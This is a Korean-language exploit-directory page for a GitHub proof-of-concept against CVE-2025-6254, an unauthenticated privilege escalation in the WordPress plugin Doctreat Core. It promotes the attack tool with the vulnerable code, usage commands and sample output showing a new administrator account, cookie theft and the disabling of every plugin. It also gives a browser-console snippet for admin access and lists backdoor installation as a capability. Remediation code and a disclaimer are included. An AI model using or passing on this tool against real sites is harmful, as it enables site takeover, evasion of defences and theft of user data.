Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — 인증되지 않은 권한 상승 | Kitploit
도구/GitHubGitHub/yucaerin/cve-2025-6254
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityCTFPenetration TestingLearning & EducationRed Teaming
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 인증되지 않은 권한 상승

저장소 보기

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 역할 주입을 통한 인증되지 않은 권한 상승

🔥 취약점 요약

WordPress 플러그인 Doctreat Core 버전 <= 1.6.8에는 인증되지 않은 권한 상승 취약점이 존재합니다. 이 치명적인 결함으로 인해 인증되지 않은 공격자가 플러그인의 등록 AJAX 엔드포인트를 통해 직접 새로운 관리자(Administrator) 계정을 생성할 수 있습니다.

이 취약점은 hooks/hooks.php 파일의 doctreat_process_registration() 함수에서 비롯되며, 이 함수는 사용자가 제출한 POST 데이터에서 user_type 매개변수를 직접 받아 적절한 권한 검사나 허용 목록(allowlist) 검증 없이 wp_update_user()의 role 매개변수로 전달합니다. 플러그인은 esc_sql()만 적용할 뿐(역할 검증은 수행하지 않음) 해당 역할이 공개 등록에 안전한지 여부를 전혀 확인하지 않습니다.

획기적인 발견: Doctreat가 사용하는 nonce(scripts_vars.ajax_nonce)는 활성화된 Doctreat 테마의 모든 공개 페이지에 노출됩니다. 일반적으로 사용자가 "doctors", "hospitals" 또는 "regular_users"로 등록할지 여부를 제어하는 user_type 매개변수는 POST로 user_type=administrator를 전송하여 재정의할 수 있으며, 이 값은 WordPress role 매개변수로 직접 전달됩니다.

🔍 영향을 받는 플러그인

  • 플러그인 이름: Doctreat Core
  • 영향을 받는 버전: <= 1.6.8
  • 취약점 유형: 역할 주입을 통한 인증되지 않은 권한 상승
  • CVE ID: CVE-2025-6254
  • CVSS 점수: 9.8 (치명적)
  • CWE: CWE-269 — 잘못된 권한 관리
  • 영향: 전체 사이트 장악 — 관리자 계정 생성

🧨 공격자가 할 수 있는 일

🧪 익스플로잇 기능

  • 🔓 인증 불필요
  • 📝 등록 AJAX 엔드포인트를 통해 동작
  • 🎯 AJAX 엔드포인트 대상 /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 역할 주입 — 일반 등록 필드와 함께 user_type=administrator 제출
  • 🌐 자동 nonce 추출 — Doctreat 테마의 공개 페이지에서 ajax_nonce 스크래핑
  • 🔐 nonce 검증 우회 — 테마 스크립트에 노출된 합법적인 nonce 사용
  • 🔗 http/https 자동 감지 — 프로토콜 지정 불필요
  • 🔒 비보안 SSL 지원 — 자체 서명/유효하지 않은 인증서로도 동작
  • 🎛️ 모든 플러그인 자동 비활성화 — 3가지 방법: plugins.php 일괄 작업, REST API, admin-ajax.php
  • 🍪 쿠키 추출 — 브라우저/curl 사용을 위한 WordPress 인증 쿠키 출력
  • 🧠 JavaScript 콘솔 스크립트 — 브라우저 DevTools에 붙여넣어 즉시 관리자 접근

🧠 취약한 코드

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

참고: 기본 검증 설정($verify_user가 비어 있거나 'remove')이 적용된 대상에서는 사용자가 자동으로 검증되어 즉시 관리자 접근 권한을 얻습니다. 이메일 검증 또는 관리자 승인이 활성화된 대상에서는 추가 검증 절차가 필요합니다.

🚀 사용법

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

기존 자격 증명으로 로그인 (쿠키 얻기)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

전체 출력 예시

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

JavaScript 콘솔 스크립트

익스플로잇 실행 후 생성된 JavaScript를 복사하여 브라우저의 DevTools 콘솔(F12)에 붙여넣으세요:

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

요구 사항

  • Python 3.6+
  • requests 라이브러리 (pip install requests)
  • 대상 환경 요구 사항:
    • Doctreat 테마 활성화 (nonce 추출용)
    • Doctreat Core 플러그인 <= 1.6.8 활성화
    • 사용자 등록 활성화

🛠 수정 권장 사항

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • 등록 시 엄격한 역할 허용 목록 구현
  • 권한 있는 역할에 대해 current_user_can('create_users') 기능 검사 추가
  • wp_update_user()에 전달하기 전에 user_type 검증
  • 공개 등록에서 역할 할당을 완전히 제거하는 방안 고려

🧠 연구자

  • 크레딧: Friderika Baranyai (Foxyyy)

📚 참고 자료

  • Wordfence 보안 권고

🔒 면책 조항

이 정보는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 악용은 불법이며 비윤리적입니다. 소유하지 않은 대상을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.

도구 다운로드
능력영향
🔑 로그인 없이 관리자 계정 생성전체 사이트 장악
🎛️ 모든 보안 플러그인 자동 비활성화방어 회피
💉 플러그인/테마 PHP 파일 편집원격 코드 실행
🕳️ 숨겨진 백도어 설치지속적 접근
👥 모든 사용자 데이터 조회개인정보 침해